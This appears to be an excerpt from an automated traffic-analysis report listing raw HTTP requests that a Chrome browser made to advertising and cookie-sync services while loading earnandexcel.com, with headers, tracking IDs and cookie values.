Source: global traffic	HTTP traffic detected: GET /beacon?informer=&gdpr_consent=&us_privacy=1---&gpp=&gpp_sid= HTTP/1.1Host: ce.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL
Source: global traffic	HTTP traffic detected: GET /ps/?us_privacy=1---&xi=33&xu=3952083078138885077332 HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=the_trade_desk&type=pixel&partnerId=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
Source: global traffic	HTTP traffic detected: GET /encrypted-signals/encrypted-tag-g.js HTTP/1.1Host: invstatic101.creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978; ts=1712870820
Source: global traffic	HTTP traffic detected: GET /usersync?b=vnt&i=d3c52a71-4626-42f8-b765-7c4caff9dd34 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /usersync?b=zem&i=kW4WCHlLKZTPSmfVrwIg&us_privacy=1--- HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C HTTP/1.1Host: pixel.tapad.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=1!2469
Source: global traffic	HTTP traffic detected: GET /ul_cb/bsw_sync?bidswitch_ssp_id=themediagrid&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent= HTTP/1.1Host: ads.creative-serving.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=52f7b6d2-f774-409d-9ad9-9331a3cf6844; c=1712870823; tuuid_lu=1712870823
Source: global traffic	HTTP traffic detected: GET /esp.js HTTP/1.1Host: oa.openxcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=157108&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821
Source: global traffic	HTTP traffic detected: GET /match?liv=h&us_privacy=1---&bidder_id=90&external_user_id=4283912458326592098 HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/mediavine?exid=3a6574e0-f84a-11ee-a9d1-333cefc92741us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dkargo%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1Host: crb.kargo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=62308046&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; PugT=1712870821
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=sovrn&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=IebHALZHwpD5VNKxRXavSHiL HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=thirty_three_across&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=212556691801834 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
Source: global traffic	HTTP traffic detected: GET /usersync?b=pbm&i=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /x/ae12848777b41970a5f2?gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=ZhhVpQAFEfZtPwBa&_test=ZhhVpQAFEfZtPwBa HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; PugT=1712870823
Source: global traffic	HTTP traffic detected: GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csyn%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AAJYL07MMKsAABPuRNcLSw; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
Source: global traffic	HTTP traffic detected: GET /mediavine-prod/detailviews/?frontend_timestamp=1712870820&frontend_sign=6132aede90471ff325884959cd5c2f86e3a8b23d HTTP/1.1Host: client-rapi-mediavine.recombee.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync?pid=5324&it=1&iv=9646f2f32191f9f8932f9ef9381297990b1d083482338b5a518f2d4d36a62a3e791426b5417dce21&_=2 HTTP/1.1Host: pippio.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=23&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn/prod/config?src=600&u=https%3A%2F%2Fearnandexcel.com&pubid=38918095-8e45-4332-88bf-226b3514cb64 HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
